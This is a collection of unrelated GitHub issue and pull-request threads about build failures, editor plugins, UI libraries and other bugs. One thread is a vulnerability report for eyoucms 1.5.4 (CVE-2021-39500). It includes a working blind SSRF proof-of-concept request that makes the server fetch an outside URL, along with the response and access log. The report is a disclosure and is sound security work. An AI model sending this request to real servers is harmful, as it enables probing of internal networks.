@conda-forge-admin, please rerender

Checklist

[ x] Used a personal fork of the feedstock to propose changes
[ x] Bumped the build number (if the version is unchanged)
[ x] Reset the build number to 0 (if the version changed)
[ x] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[x] Ensured the license file is being packaged.

@conda-forge/core
Dear conda-forge team,
i have issues building the osx and win versions of the package. I started from the python 3.10 recipe taken from the conda update-bot (the open PR of the earlier 1.0.0 tkwant feedstock), which is listed to run for all platforms win, osx, linux. As the current version the tkwant package in this recipe has less dependencies than the previous version, i would expect that build should work similarly. Do you have any suggestions what could be the problem here or how to proceed?
Kind regards, Thomas

the osx build build fails with the error:
##[warning]An image label with the label macOS-10.15 does not exist.
,##[error]The remote provider was unable to process the request.

When I search for the image name, this is only set in file .azure-pipelines/azure-pipelines-osx.yml, but this file is generated automatically. Could someone point me out how this image is chosen, or what could go wrong?

You may need to tweak the macOS SDK. See https://conda-forge.org/docs/maintainer/knowledge_base.html#requiring-newer-macos-sdks

You may need to tweak the macOS SDK. See https://conda-forge.org/docs/maintainer/knowledge_base.html#requiring-newer-macos-sdks

No. You just need a rerender.

@conda-forge-admin please rerender

@conda-forge/core
The osx build crashes as it is searching for its own package as dependency in python 3.9 and 3.10.
As said, this happens only on python 3.9 and 3.10 for osx, while osx on python 3.8 builds correctly as well as
windows and linux on all python versions.
Looking into the log files of the azure pipeline, one finds that the reason for the crash
is that the build is searching for its own package as dependency on PyPI (line Searching for tkwant==1.1.0rc1),
which doesn't exist. I could imagine that this is due to some misconfiguration from my side, but
why then on python 3.8 and the other operating systems it builds correctly.
Any hints what could be the problem?
From the azure logfiles:
osx, python 3.8
Processing tkwant-1.1.0rc1-py3.8-macosx-10.9-x86_64.egg
creating $PREFIX/lib/python3.8/site-packages/tkwant-1.1.0rc1-py3.8-macosx-10.9-x86_64.egg
Extracting tkwant-1.1.0rc1-py3.8-macosx-10.9-x86_64.egg to $PREFIX/lib/python3.8/site-packages
Adding tkwant 1.1.0rc1 to easy-install.pth file

Installed $PREFIX/lib/python3.8/site-packages/tkwant-1.1.0rc1-py3.8-macosx-10.9-x86_64.egg
Processing dependencies for tkwant==1.1.0rc1
Searching for scipy==1.10.1

osx, python 3.9
Processing tkwant-1.1.0rc1-py3.9-macosx-10.9-x86_64.egg
creating $PREFIX/lib/python3.9/site-packages/tkwant-1.1.0rc1-py3.9-macosx-10.9-x86_64.egg
Extracting tkwant-1.1.0rc1-py3.9-macosx-10.9-x86_64.egg to $PREFIX/lib/python3.9/site-packages
Adding tkwant 1.1.0rc1 to easy-install.pth file

Installed $PREFIX/lib/python3.9/site-packages/tkwant-1.1.0rc1-py3.9-macosx-10.9-x86_64.egg
Processing dependencies for tkwant==1.1.0rc1
Searching for tkwant==1.1.0rc1
Reading https://pypi.org/simple/tkwant/
No local packages or working download links found for tkwant==1.1.0rc1
error: Could not find suitable distribution for Requirement.parse('tkwant==1.1.0rc1')

Remaining problems to be solved in subsequent releases:

build for osx for python > 3.8 due to dependency problem described above - solved by limiting python version on osx
build for linux 3.10 and for win on all versions fail due to tests - turned off tests in file run_test.py

the guidance on the tags and pre-releases wasn't really followed.....
https://github.com/conda-forge/cfep/blob/main/cfep-05.md#specification


Does not work with which-key.nvim

When using cutlass with which-key, the remapped keys prevent which-key from opening the popup.

Hey!
Thanks for opening this issue
I'm currently on vacation, I will check this when I come back 😉

I think it's more of a limitation on the which-key side. As which-key comes with presets for default vim keys, it considers that there is a conflict. When running :checkhealth which-key, I have this :
- WARNING conflicting keymap exists for mode **"n"**, lhs: **"d"**
- rhs: `"_d`
- WARNING conflicting keymap exists for mode **"n"**, lhs: **"c"**
- rhs: `"_c`
....

It seems legit but I've tried to disable which-key presets like this :
local which_key = require("which-key")

which_key.setup({
  plugins = {
    presets = {
      operators = false,
      motions = false,
    },
  },
})

Or like this :
local which_key = require("which-key")
local presets = require("which-key.plugins.presets")
presets.operators["d"] = nil
which_key.setup({})

but it does not works....
Maybe @folke can help us on that ?
Maybe we should open an issue on which-key repo ?

Related to this, for me cutlass doesn't work at all if the which-key plugin is also enabled. The pop-ups of which-key show up, but the d and s bindings are just not set by cutlass. Seems like an ordering issue to me.

@gbprod I think I fixed it by adding
  {
    "folke/which-key.nvim",
    opts = function(_, opts)
        opts.triggers_blacklist = {
            -- list of mode / prefixes that should never be hooked by WhichKey
            -- this is mostly relevant for keymaps that start with a native binding
            i = { "j", "k", "d", "D", "s", "S" },
            v = { "j", "k", "d", "D", "s", "S" },
            n = { "d", "D", "s", "S" },
        }
        return opts
    end,
  },

to .config/nvim/lua/user/core.lua (or any other lua file in that dir), which adds the keys that cutlass remaps to which-key's blacklist. Note that I use AstroNvim in this setup.
It would be nice if cutlass could be made which-key aware. If it detects which-key, it could configure the triggers_blacklist of which-key, and additionally add descriptions for the new bindings to which-key.

Assuming we use lazy.nvim to manage plugins, a workaround for this issue is to set lazy = false for cutlass.

I've just tried that but it doesn't works for me. I have which-key menu that appear, but cutlass mappings are not set :/
Maybe you have a more complete config to share @b0ae989c ?

@b0ae989c It works, but which-key can't show the menu in visual mode.
If the key map is <leader>a, only the menu won't pop.
If the key map is <leader>aa, everything is fine.
And it needs to be pressed fast enough, <leader> will become a normal space .

 will become a normal space

That's a separate issue. With the config above, <Leader> is the default key \.

I am sorry, it seems I misunderstood something...
I tested the triggers_blacklist and layz=false, none of them worked with me.
Mini.operator has the same symptoms.

This appears to be fixed with the latest version of cutlass and which-key.


Remove unexplicit imports

What ❔

Why ❔

Checklist

[ ] PR title corresponds to the body of PR (we generate changelog entries from PRs).
[ ] Tests for the changes have been added / updated.
[ ] Documentation comments have been added / updated.

The content of this PR has become part of the following release: https://github.com/matter-labs/era-contracts/pull/167


Bump rlimit.

I'm not sure what's different about Z3 on my machine, but verifying Pulse.Lib.HashTable.Spec.fst failed on the command-line for me.  (Weirdly enough, it worked fine in vscode.)

The same failure is happening in the Everest upgrade CI. Thanks Gabriel for your fix!


Setting innerHTML of <style> elements will cause issues with trusted types

Bug report
Current Behavior
There are several Radix UI Primitives that rely on dangerouslySetInnerHtml to inject content into <style> tags, for example the <ScrollArea> (see code) and <Select> (see code) components.
This causes issues in React apps that has set trusted types in their CSP headers.
p/s: Not all browsers support the trusted types CSP header yet.
Expected behavior
Using these components should not cause warnings in browsers that support trusted types CSP headers serving a React App with such headers set.
Suggested solution

Find alternatives to using dangerouslySetInnerHtml to set inline styles
Use DOMPurify (but that comes at a cost of using a very heavy library)

Your environment

Software
Name(s)
Version

Radix Package(s)
@radix-ui/react-scroll-area, @radix-ui/react-select
Latest on both

React
n/a
19 (via Next.js)

Browser
Chrome
128

Assistive tech
n/a
n/a

Node
n/a
20.14.0

pnpm
n/a
9.10.0

Operating System
macOS
Sonoma (14.6.1)

Hi,
I opened a discussion on improving Radix's style authoring to fix these CSP issues. Perhaps we can get more buy-in via more engagement: https://github.com/radix-ui/primitives/discussions/3130


[de-CH] slight adjustment of GetTemperature

Slight adjustment of GetTemperature-sentences

Added support for ListAddItem as well


Add an escape sequence to avoid polymer to bind the content of brackets

Refs https://github.com/Polymer/TemplateBinding/issues/186
This PR is a proposal to add the possibility to escape the brackets without binding the content.
If this kind of behaviour is acceptable, I would be glad to write also unit tests.
Usage:
{{test}}: normal behaviour
{{\test}}: don't bind to test and print literal {{test}}
{{\\test}}: don't bind to test and print literal {{\test}}
and so on... always remove one of the backslashes
[[test]]: normal behaviour
[[\test]]: don't bind to test and print literal [[test]]
[[\\test]]: don't bind to test and print literal [[\test]]
and so on... always remove one of the backslashes

This seems reasonable to me. Can you add a test case?

@azakus sorry for the huuuge delay, I finally wrote tests you asked. I also rebased the history on the current master branch, so the feature is available for Polymer 2.0 and the PR can be automatically merged.

After a discussion about this PR, we decided to not include this functionality, mainly because of performance concerns. You can override _parseBindings in your element to implement escaping in the spots you want this feature, which means that regular applications or other elements do not regress.

Simple workaround that works in HTML without any overwriting of _parseBindings:
Whenever you want to write {{something}} on your page, and force Polymer to skip parsing that, put a HTML comment somewhere inside of it, e.g.
{<!-- This comment is needed to prevent Polymer from parsing curly braces -->{something}}


blind control - manual override with -1 value is not working

Manual override using the level -1 is not working as expected.
Expected behavior:
When a manual override expires, the node is expected to revert back to the automatic calculated level, e.g. the cover closes again after it has been manually opened.
Issue:
When sending -1 as the manual override level, the override is activated and expires as expected, but the cover does not revert back to the expected level, e.g. the cover does not close again after it has been manually opened.
Using levels other than -1, the manual override is working as expected and the cover reverts back to the expected level, e.g. closes again after it has been manually opened.
Does somebody have the same issue?

It is working for me.
Under the node should be the time when the manual override expires:

This time will be changed if another override arrives.
Do you sending the -1 continuously?

The issue is not the override not expiring, but rather that the level is not adjusted upon expiration.
If the default level is 100 and the cover level is manually changed to a certain unknown level (-1), the cover stays at the manually set level after expiration. I would expect the cover to revert back to 100.
Everything works fine and as expected for manual levels between 0 and 100 but not in case of -1. I hope that makes it more clear :)
In case of a -1 level override, the node just stays with the previous level and just adds a override to that. Since the node level does not change upon expiration, the node does not fire.
A quick fix would be the node firing after a -1 expiration.
Manual -1 override:
100 --> 100(override) --> 100
Manual 50 override:
100 --> 50 (override) --> 100

Ok I got it and was able to reproduce it. Will be fixed with the next release.

Awesome, thanks!


get_headers() function lead to Blind Server side request forgery

#Author: KietNA from 1nv1cta team, HPT CyberSecurity Center
#Submit date: 21/08/2021
#Target: https://www.eyoucms.com/
#Version: 1.5.4 (https://github.com/eyoucms/eyoucms/releases/tag/v1.5.4)
#Description:
saveRemote function is vulnerable to SSRF via using get_headers() function, An authenticated user can exploit via Uploadify controller
In /application/user/controller/Uploadify.php

In line 233, catchimage case post "source" parameter that user can control, then call to saveRemote() function with $fieldName parameter => saveRemote($config,[value of source parameter])
Then the saveRemote private function will call get_headers() function to get header of http host
get_headers() function fetch all the headers sent by the server in the response of an HTTP request

PoC:

###Request
POST /index.php?m=user&c=Uploadify&a=index&action=catchimage HTTP/1.1
Host: <IP_ADDRESS>:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------182578234523129615573520929892
Content-Length: 276
Origin: http://<IP_ADDRESS>:3333
Connection: close
Referer: http://<IP_ADDRESS>:3333/index.php?m=user&c=Users&a=info
Cookie: PortalOpenEMR=BKEx0ZLJ9X41gReq-UHNt-aC0jHNPiQLUOf7FXckqCAumudg; OpenEMR=UwreHaTw9iqwJWXqAY3%2CWYkZgvA3wdVmymdC5QqiVC1H2scM; loader=loaded; admin_lang=cn; home_lang=cn; workspaceParam=welcome%7CIndex; referurl=%2Findex.php%3Fm%3Duser%26c%3DUsers%26a%3Dcentre; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; PHPSESSID=ptad0avmrpqg14oj4jh01a3hpm; users_id=2

-----------------------------182578234523129615573520929892
Content-Disposition: form-data; name="source[]"
Content-Type: image/png

http://hptcybersec.com/ssrf_PoC.jpg
-----------------------------182578234523129615573520929892--

### Response:
HTTP/1.1 200 OK
Date: Fri, 20 Aug 2021 17:25:37 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.3.29
X-Powered-By: PHP/7.3.29
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private
Pragma: no-cache
Set-Cookie: users_id=1; path=/
Content-Length: 576
Connection: close
Content-Type: text/html; charset=utf-8

{"state":"SUCCESS","list":[{"state":"SUCCESS","url":"\/uploads\/user\/1\/ueditor\/20210821\/611fe591da266.png","size":24041,"title":"611fe591da266.png","original":"123.jpg","source":"http:\/\/hptcybersec.com/123.jpg"}]}

### Accesslog on hptcybersec.com
[Fri Aug 20 13:20:25 2021] <IP_ADDRESS>:54113 Accepted
[Fri Aug 20 13:20:25 2021] <IP_ADDRESS>:54113 [404]: (null) /ssrf_PoC.jpg - No such file or directory
[Fri Aug 20 13:20:25 2021] <IP_ADDRESS>:54113 Closing```

Impact:  allow remote attackers to information detection,internal network server attack.

CVE-2021-39500 was assigned for me and<EMAIL_ADDRESS>

已修复


tags parser make a mistake in url with #

Describe the bug
e.g.:
chrome://net-internals/#hsts
#hsts will parse as a tag
Steps to reproduce
create a note, and typing chrome://net-internals/#hsts
Screenshots or additional context

Which version? I cannot reproduce on the demo site.

Which version? I cannot reproduce on the demo site.

I tested in demo site, and the wrong tag is found in tag suggestions.
Since go is not support before text matching((?=re)), tagRegexp may be like (^|\s)#([^\s#/][^\s#]*) and then get the second catch group?

@Zeng1998 I use v0.10.3 now, but this problem may be appear in older version too.

So can you reproduce on the demo site?  I am sure there is no such issue on my Memos instance and the demo.

Yes, in demo site, but the wrong tag only shows in Create Tag -> Tag suggestions.

@Zeng1998 sure, the same thing in demo site.

Are you sure that you (or other users) didn't add this tag (abcd) manually?

As for the tag suggestion, I prefer to regard it as a feature, not a bug.

As shown by this video, there is no bug here. It is as expected for now.

I dont think save an url such as https://github.com/usememos/memos/issues/1085#issuecomment-1428032275, and it create a tag #issuecomment-1428032275 could consider "expected".

What I see in the video is that you add the tag yourself.
And, tag suggestions are just tag suggestions.

what I want is to save some url with # and do not create tags(like this: chrome://net-internals/#hsts).

As I said, this doesn't happen on the demo site and other instances of version 0.10.3.

@MoCongxin Do you mean the tag abcd will be creating directly when you create a memo with chrome://net-internals/#abcd?
https://user-images.githubusercontent.com/24653555/219520073-a401cfcf-79d0-4c0a-88dd-b671e8f9be28.mp4
Or it just appears in the tag suggestions like the video above.

I apologize, I messed up something. In my memory, a previous version had put all my tags into tag suggestions, so I always thought tag suggestions meant 'tags not displayed on the homepage'.


Update Strictly Typed code example with correct implementation of using checkbox with TypeController

According to discussion in this issue Checkbox when using useTypedController not working as expected on the react-hook-form repository. This PR updates the code example on how to use Strictly Typed with implementation of checkbox to be more inline with example on how to use Controlled checkbox.

Thank you very much.


record street linear distance in graph

This shipped:
https://github.com/sharedstreets/curb-wheel/commit/de3193072286d9f91bbd9fb05e6cdaeacef1b6ae
streets now have a distance property in meters.


Module not found: Error: Can't resolve 'ui/core/view/view-common'

Which platform(s) does your issue occur on?

Android
Android versions: Not android version related
Not device related

Please, provide the following version numbers that your issue occurs with:

CLI: 6.2.2
Cross-platform modules: : ^6.2.1
Runtime(s): "tns-android": {     "version": "6.1.2"   },   "tns-ios": {     "version": "6.1.0"   }

Please, tell us how to recreate the issue in as much detail as possible.
Describe the steps to reproduce it.
Just add the plugin to any project
Is there any code involved?
import { overrideModalViewMethod } from "nativescript-windowed-modal"
overrideModalViewMethod()

ERROR in ../node_modules/nativescript-windowed-modal/windowed-modal.js
Module not found: Error: Can't resolve 'ui/core/view/view-common' in '/Users/bellalmohamed/Development/zeal/zeal-alsagheer-app/node_modules/nativescript-windowed-modal'
 @ ../node_modules/nativescript-windowed-modal/windowed-modal.js 7:17-52
 @ ../node_modules/nativescript-windowed-modal/index.js
 @ ./app/components/navbar/navbar.component.ts
 @ ./app/components/navbar/navbar.module.ts
 @ ./app/app.module.ts
 @ ./main.ts

for me the problem is only on IOS, Android is OK
Demo works fine on IOS.

I get this error on both platforms for NS 6.2+ (the two platform specific files perform the same import).

Yes, Now I'm getting the error on both platforms

Fixed on<EMAIL_ADDRESS>

Thanks for the quick response and fix, working fine!


How to remove suzie name for Action type ImBack

I have a question
I have updated the manifest file to version 1.11 to receive all channel messages without @mentioned. ApplicationPermissions are also added.
We are using herocard to show all the commands ,
new CardAction()
{
Title = ResourceString.AvailableCommand,
Type = ActionTypes.ImBack,
Value = new Command(CommandType.SignIn, null, botName).ToString()
},
While clicking on the button , it is displaying the suzie name also. Can we remove that suzie name before the command

Hi @Aiswarya1794
Can you please provide a bit more information?

This issue is oepned in the WebChat repository, but it appears from the screen shot that the channel you are using is Teams.
What channel are you using (does the issue happen in all channels or just one or a few)?
What do you mean by suzie name? I don't see the name suzie anywhere in the screenshot.


remove google auth-code

I've just found this file: https://github.com/onetimesecret/onetimesecret/blob/master/public/web/googlebda449ae89dbf2e6.html
Seems to be your personal auth-code from Google which should not be included in a public installable version..

This was outdated so not used for ages but yeah should be removed. Thanks for the heads up.


Don't Merge! PR real time test for webhook case

Docs Build status updates of commit f1772ad:
:clock10: Pending: waiting for processors (17 builds ahead of you)
:warning: Docs Build is busy, currently there are 17 builds ahead of this one, for more information you can view the Build queue graph on the Docs Portal.

Docs Build status updates of commit f1772ad:
:clock10: Full build: the average full build time is 7 min(s) 49 sec(s), this is based on the last 30 build(s) for this repository.

Docs Build status updates of commit f1772ad:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs-ref-conceptual/testing.md
:white_check_mark:Succeeded
View (azure-cli-latest) View (azure-cli-2017-03-09-profile) View (azure-cli-2018-03-01-hybrid)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel


Generate correct URLs when the site URL has a path

When the Antora site URL has a path, e.g. https://example.com/foo, the document is available at https://example.com/foo/component/version/page.html, but clicking a search result will redirect to /component/version/page.html. foo is lost here and this leads to a 404. This PR should fix this.

Hello @atextor!
Maybe we missed something but we specifically did this change to make the index portable, see https://github.com/Mogztter/antora-lunr/issues/38
The URL will be resolved in your site. Do you have the following definition in your site?
https://github.com/Mogztter/antora-lunr/blob/bd3f700ce596fac84ac2bf72a06f798e1db25829/supplemental_ui/partials/footer-scripts.hbs#L3
This value will be used to construct the href:
https://github.com/Mogztter/antora-lunr/blob/01a27a56e969fc1006cd6f529d1b2997d335183a/supplemental_ui/js/vendor/search.js#L115-L116
In your example, I believe that window.antora.basePath will be /foo and the link will be /foo + /component/version/page.html = /foo/component/version/page.html no?

I think siteRootPath is the path from the current page down to the antora site root, i.e. a lot of ../../../...  Appending this to the search result will give a relative path from the current page to the target, not needing to know anything about where the site is actually located.

Hi, thank you for your quick reply! I was unaware that a lot of thought already went into that, sorry for that. I do indeed have the basePath definition in my footer, but was still unable to make it work, so I did the natural thing and debugged search.js until I found where the URLs are constructed. The problem here is only the following:

I added the script to my UI fork exactly one day before the change you mentioned was done, so in my setup, the basePath was not acutally added. Then I thought, in the index generation I have the site URL available, so that would be the natural place to fix this.
So, this PR can be closed: With the correct version of the search.js, this should work :+1:

Thanks @atextor for the investigation.
Could you please confirm that it's working with the correct version of search.js?
I'm asking because another user has more or less the same issue on Gitter.

@Mogztter It does indeed work, the relevant commit is the one automatically linked above: https://github.com/atextor/docs-antora-ui/commit/da6486ad7c0cc0f71ad3caa7fbf6980ac7301d3b. The UI was built and used in the main project: https://github.com/atextor/owl-cli/commit/89f7c72bb807cf97c3bdb538037ddcb84b3a2776 which was then deployed to gh-pages and can be viewed here: https://atextor.de/owl-cli/main/snapshot/index.html. Lunr search works as intended!

Perfect, thanks for your feedback :+1:


Background network processing

Problem
The primary issue we aim to address is ensuring the reliability of message delivery in our chat app. Users have reported instances where messages fail to send, only being dispatched when the app is reopened. This problem is particularly evident in the following scenarios:
● iOS: Messages are not sent when the app transitions to the background, during shifts from offline to online status, or under poor internet conditions.
● Android: Similar issues occur when the app is backgrounded with unstable internet connections. Additionally, there is uncertainty about the app’s behavior during transitions from offline to online across different Android devices.
Solution
To enhance the user experience, we propose implementing background task processing to manage network requests even when the app is not actively open. This approach aims to:

Process Requests in the Background: Allow the app to detect when the device comes back online and send queued requests while in the background.
Reduce Queue Size: Implement improvements such as avoiding duplicate requests and simplifying message handling to keep the network queue as empty as possible.

By addressing these issues, we aim to provide a seamless messaging experience, ensuring that messages are sent promptly and reliably, regardless of the app’s state or network conditions.
Additional Solutions for Web and Desktop
Web: Leverage Service Workers for handling background sync when internet connection is re-established.
Desktop: Use Electron’s background task handling capabilities (e.g., electron-ipc).
Before (current app - Android Slow connection)
https://github.com/user-attachments/assets/9b208f04-d800-4b6f-b768-4b1c9d26a385
After
https://github.com/user-attachments/assets/925221d6-99fc-4abe-9a19-2ef0c46c5d4d
Cases:

User is offline or in a poor network connection

User takes some actions and serializes network requests

User puts app in the background

User regains network connection, requests from the queue start executing.

User opens the app and has no remaining network requests (or maybe a few)

Open the app from a notification

Read it

Write a response

Switch apps

This background processing will prevent a message from not being sent due to moving quickly to the background.
Slack Thread: https://expensify.slack.com/archives/C05LX9D6E07/p1727884875529299

Hey, I'm Szymon from Callstack and I can work on this 🫡

Hey, I started working on this issue and in first place I looked on what are possible libraries that we leverage to solve this problem. I've started with Native platforms. There are not many tools that are solving this problem well, and actually there are two that I found that are maintained:

https://github.com/transistorsoft/react-native-background-fetch

no support for New Architecture with latest versions of React Native,
API may be outdated due to long-term development, containing legacy code and patterns
longer history of use

https://docs.expo.dev/versions/latest/sdk/background-fetch/

supports New Architecture with latest React Native versions
uses Expo Modules under the hood which are already used in the project
modern & more stable API

I'd go with expo-background-fetch together with expo-task-manager which overall fits as more reliable and better option for this use case.

Hey, update from my side. I successfully implemented PoC of registering background task with expo-task-manager on iOS. Right now I'm focusing on doing the same on Android, there's one crash when app starts - I'm trying to investigate why is it happening.

Updated P/S

Hey, just to update this issue with current status - we'll be developing our own implementation of executing background task. Here's a separate issue with all necessary informations: https://github.com/Expensify/App/issues/52700


Add account_id and region to aws_msk_cluster

Describe the bug
The current values for both account_id and region for aws_msk_cluster resources are null.
Steampipe version (steampipe -v)
v0.20.9
Plugin version (steampipe plugin list)
v0.117.0
To reproduce
To reproduce this issue, run the following query against any account containing an MSK cluster:
SELECT
  account_id,
  cluster_name,
  region,
  arn
FROM
  aws_msk_cluster;

Expected behavior
These values should be populated with the AWS Account ID and Region where the MSK cluster is hosted.
Additional context
Add any other context about the problem here.

Apologies for the inconvenience @p5 and welcome to Steampipe 👋 !!
On running the above query, do you get results for the columns cluster_name and arn? Also are you able to query account_id and region for other tables like aws_ec2_instance etc.?

Apologies for the inconvenience @p5 and welcome to Steampipe 👋 !!
On running the above query, do you get results for the columns cluster_name and arn? Also are you able to query account_id and region for other tables like aws_ec2_instance etc.?

Thanks for the response!
Yes, I do receive results for the cluster_name  and arn but get <null> for account_id and region.
I am able to get this information from querying other resources in the account.
I am certain this is not due to a lack of permissions since I have tried with both the ReadOnly and AdministratorAccess managed policies.

Thanks for the response @p5 👍.
We have managed to replicate the issue.
@ParthaI is currently working to get a fix out for this bug 👍.

Great to hear!  Thank you for looking into it!

Dear @graza-io,
I wanted to express my gratitude for providing clarification.
@misraved and I recently had a discussion on this matter earlier, and I observed that in our most recent Steampipe SDK version, v5.6.0, the issue has been resolved, and we are now able to retrieve the account_id and region values from the table.
> select arn, account_id, region from aws_msk_cluster
+-----------------------------------------------------------------------------------------------------+--------------+------------+
| arn                                                                                | account_id   | region     |
+-----------------------------------------------------------------------------------------------------+--------------+------------+
| arn:aws:kafka:ap-south-1:xxxxxxxxxxxx:cluster/demo-cluster-1/1afa400c-102f-4a53-b0f9-879c1938f48d-2 | xxxxxxxxxxxx | ap-south-1 |
+-----------------------------------------------------------------------------------------------------+--------------+------------+

@graza-io, @misraved ,  I genuinely appreciate your efforts in addressing this issue. I had noticed it earlier but was unable to pinpoint the root cause of the error. Your assistance is greatly valued. Thank You!

Can confirm I observe the same behaviour on upgraded SDK.

Addressed in https://github.com/turbot/steampipe-plugin-aws/blob/main/CHANGELOG.md#v01200-2023-10-02


Does immer intends to support optional chaining and nullish coalesce?

🙋♂ Question
Does immer intends to support optional chaining and nullish coalesce? Looks like the proxy is messing up with optional chaining, it throws a unhandled promise rejection...
Link to repro
Couldn't reproduce optional chaining in Code Sandbox. Any suggestions on how to reproduce? If none web editor can run it, I can publish a running sample on github later.
For now, this is the code i've been facing problems:
updateClientes(state, { payload: clientes }: PayloadAction<ClienteDTO[]>) {
  state.clientesById = {};
  clientes.forEach?.((cliente) => {
    state.clientesById[cliente.id] = cliente;
  });
},

And this is the error:

(node:16941) UnhandledPromiseRejectionWarning: TypeError: Cannot read property 'forEach' of undefined
(node:16941) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 1)

Environment
We only accept questions against the latest Immer version.

Immer version: 4.0.1 (using<EMAIL_ADDRESS>[x] Occurs with setUseProxies(true)
[x] Occurs with setUseProxies(false) (ES5 only)

These operators should work without problems. In your example, the problem is that you've put the operator at the wrong position, it should be clientes?.forEach; as you want to check if the clientes are null, not the forEach property.

Holly s**. It was 2am in Brazil.  Sorry for bothering.


feat(localize): updated translation from Crowdin

:tada: This PR is included in version 3.12.1 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Fix broken links in README

Coverage remained the same at 97.368% when pulling 5a10543b41a6e19ac118f8e400dadbc3be62d56e on brunoschalch:patch-1 into 2a209bd4f11a84ff4543fbde930fed60dcbc0f68 on xgfe:master.


no way to dynamically handle missing modules

Hi!
I am trying to find module deps from an entry point, but ignore missing requires. These typically come about because people conditionally include coverage stuff that's in devDependencies. So the filter option would not work.
At the moment, if one file fails to resolve, the best option I've found is to catch it by binding a handler to the 'error' event on the stream, but if this occurs the 'end' event never fires.
Is this a stream issue, or is there's a way to do this?

I know this is an ancient question, but there's an ignoreMissing option now. Sorry :disappointed:

Ooh, thank you! That probably allows me to fix an ancient issue I had ignored for a while :)


method to change baseUrl, new baseUrl

thepiratebay changed .se domain recently

Cool, but some of the test are failing because of the expected URL, can you check it? Just change the expected URL in the tests should be enough.
BTW, only this tests continuous-integration/travis-ci/pr, not the ci/circleci and continuous-integration/wercker tests, thats are failing because of some ES6 feature.

Looking like network timeout issue in last try, can you rebuild test please?

I've restarted the build, still no luck. I'll try to run the tests locally.

thepiratebay is really slow. I've increased the timeout and ran the tests locally. All green!
Great job :+1:
Thank you!


Issues when System goes to sleep

On occasion,  I put my linux laptop to sleep or the battery accidentally dies, I get a hung black screen.
Since this did not happen before, I wonder if it has anything to do with grub2 or related.
This is not an issue with the script, but more a question if the script caused an issue on my laptop
Laptop: Xiaomi Notebook Pro i7 version
Issue: when waking up from sleep mode, laptop is sometimes in black (console) screen, and unable to escape without restart

It's really hard to tell without more info: OS, logs (journalctl --since "2021-11-15 09:30:00" > sleep.log with time just before system goes to sleep), installer script errors (try to reinstall theme and see if it shows any errors).

closing for now, let me know if this is still an issue


S3 Dynamic Bucket Creation - Dataset Feature

Hello all,
I was just wondering, is the Dataset provides the option to dynamically create the bucket, if the bucket doesn't already exist?
If it's not, is there any plan of adding this feature?
Thanks :)

@Eternity022 We do have the feature to create the bucket ! Here is the relevant example

So this manifest will create the bucket, if the bucket doesn't exist in the backend Object Store?

yes, provision: true intitiates creation of the bucket. Typo: in the example above, we have set readonly: true when it should be false in practice

Thank you for your response. We will start testing :) You can archive this Question if you want, or leave it for the community. :)


[WIP] Migration guide

Summary
Addresses #396
Details and comments

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.2%) to 38.522%

Totals

Change from base Build<PHONE_NUMBER>:
0.2%

Covered Lines:
2690

Relevant Lines:
6983

💛  - Coveralls


Semantic highlighting with monaco-editor options

Hi @CGNonofr as you may have noticed I moved over the Langium gammar language client and server from monaco-languageclient to monaco-components:
https://github.com/TypeFox/monaco-components/blob/main/packages/examples/src/langium/wrapperLangium.ts
The monaco-editor-wrapper allows to run monaco-editor with monaco-languageclient in a classic (regular monaco-editor config) or as extension like configuration. The ported example allows to run the editor in both modes. That generally works, but semantic highlighting only works in extension mode (see green Abstract type def in screenshots below).
If textmate / themes services are not configured, I expect that to work. Do you agree? Or have I overlooked something here?
Classic monaco-editor configuration:

Extension driven configuration configuration:

Side question: Is it possible to de-initialize all services? Currently you can dispose the editor and language client, but when the service init is done once it cannot be disposed or revoked. Is this even possible?
Easiest way to reproduce is cloning the repo, then npm i && npm run build and afterwards npm run dev; optionally run npm run watch in parallel if lib code needs adjustment.

The monaco-editor-wrapper allows to run monaco-editor with monaco-languageclient in a classic (regular monaco-editor config) or as extension like configuration. The ported example allows to run the editor in both modes. That generally works, but semantic highlighting only works in extension mode (see green Abstract type def in screenshots below).
If textmate / themes services are not configured, I expect that to work. Do you agree? Or have I overlooked something here?

By semantic highlighting, do you mean syntax highlighting? If so, monaco features are disabled by the treemending patch to not conflict. If you want the monarch highlightling back, you can import monaco-editor/esm/vs/basic-languages/monaco.contribution.js
Semantic won't work with monarch I think, we had a hack back then to make it work

Side question: Is it possible to de-initialize all services? Currently you can dispose the editor and language client, but when the service init is done once it cannot be disposed or revoked. Is this even possible?

I wish the answer to be yes, but it's much more complicated
Services are just stored in a service collection (inside StandaloneServices) and used to create new editors. Even if StandaloneServices doesn't currently support re-initializing the services, we would easily be able to make it possible.
The main issue it that some services are registering handlers (snippets, extension points, terminal backend...), not mentioning workers, and the code often doesn't support replacing the handler, so the next service instantiation would fail.
So it's probably hackable, but it would be very complicated.
Our best chance is probably to run everything in a sandbox-like (new Function or eval?) but I've never tried anything related yet.
The simpler solution is probably just to... reload the page. That what vscode does it everytime you change your workspace

The monarch based syntax highlighting works without this specific import. I use the standard monaco-editor since you introduced it quite recently (1.80.x, right?)

I'm surprised, that import is removed from monaco-editor by the treemending patch
